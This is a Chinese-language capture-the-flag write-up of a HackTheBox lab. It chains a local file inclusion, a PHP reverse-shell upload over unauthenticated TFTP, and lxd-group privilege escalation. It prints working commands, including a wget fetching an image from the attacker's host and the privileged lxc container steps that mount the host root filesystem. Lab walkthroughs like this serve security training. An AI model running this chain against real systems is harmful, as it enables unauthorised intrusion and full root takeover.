組合拳 | 本地文件包含漏洞+TFTP=Getshell

文章聲明

安全文章技術僅供參考,此文所提供的信息為漏洞靶場進行滲透,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。

本文所提供的工具僅用於學習,禁止用於其他,未經授權,嚴禁轉載,如需轉載私信聯繫。

文章簡介

本文主要記錄從本地文件包含漏洞到獲取root權限的過程。

涉及知識

1. 本地文件包含漏洞(LFI)
2. TFTP文件上傳
3. LXD提權

靶場環境

1. Hackthebox靶場Included

2. 靶機: Linux操作系統 IP:10.129.95.185

3. 攻擊機:連接VPN後的IP:10.10.14.15

演示過程

首先,我使用nmap進行端口收集:

nmap -sV -sC -sT -v 10.129.95.185 -Pn

 

(假如這裡有張圖)

 

發現只有80端口開啟,訪問如下:

圖片.png

驚奇地發現url地址的傳值參數為”?file=/home.php”,由於靶場是linux操作系統,我們嘗試查看文件/etc/passwd,內容顯示如下:

圖片.png

(這樣查看有些混亂,我們用curl看一下)

圖片.png

到這一步就是一個簡單的任意文件讀取漏洞,接下來我們通過讀取到的內容getshell。

 

發現tftp用戶,敏銳地查詢了TFTP協議,如下:

TFTP(Trivial File Transfer Protocol),簡單文件傳輸協議,TFTP使用UDP協議,TFTP不具備通常的FTP的許多功能,它只能從文件服務器上獲得或寫入文件,沒有列出目錄的功能,也不能對用戶進行身份鑒別,它傳輸8位數據。

根據查到的tftp特性,這次使用nmap進行UDP端口掃描:

圖片.png

通過TFTP工具直接連接服務器,並上傳反彈shell:

圖片.png

上傳木馬:

圖片.png

通過任意文件讀取可以得知絕對路徑為/var/lib/tftpboot

圖片.png

通過文件包含漏洞觸發木馬(訪問//10.129.95.185/?file=/var/lib/tftpboot/shell.php),反彈shell成功。

圖片.png

查看id,發現權限比較低,繼續進行信息收集進而提升權限。

在/var/www/html路徑下信息收集獲取到mike用戶名和密碼:

圖片.png

切換用戶mike獲取到用戶權限Flag,同時注意到存在的用戶組在lxd組(當用戶具有lxd權限時,可以通過創建任意鏡像,並將當前系統根目錄掛載到鏡像mnt目錄下,然後通過chroot命令即可獲取當前系統的root權限):

圖片.png

 

接下來進行lxd提權,操作如下:

攻擊機:

1.下載lxd鏡像生成器

git clone  //github.com/saghul/lxd-alpine-builder.git

2.構建鏡像

cd lxd-alpine-builder  
sudo ./build-alpine

3.開啟HTTP服務,下載到靶機上

python3 -m  http.server 8082 -b 0.0.0.0

圖片.png

靶機:

1. 下載攻擊機上的alpine-v3.13-x86_64-20210218_0139.tar.gz
wget //10.10.14.15:8082/alpine-v3.13-x86_64-20210218_0139.tar.gz

2. 導入鏡像並成功提權

#導入鏡像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz` –alias test

 

#初始化鏡像
lxc init test test -c security.privileged=true

#掛載磁盤
lxc config device add test test disk source=/ path=/mnt/root recursive=true

#啟動鏡像
lxc start test

lxc exec test /bin/sh

如果報錯就先lxd初始化後在執行上面的操作

lxd init    # 一路回車

圖片.png

獲取flag

cat /mnt/root/

圖片.png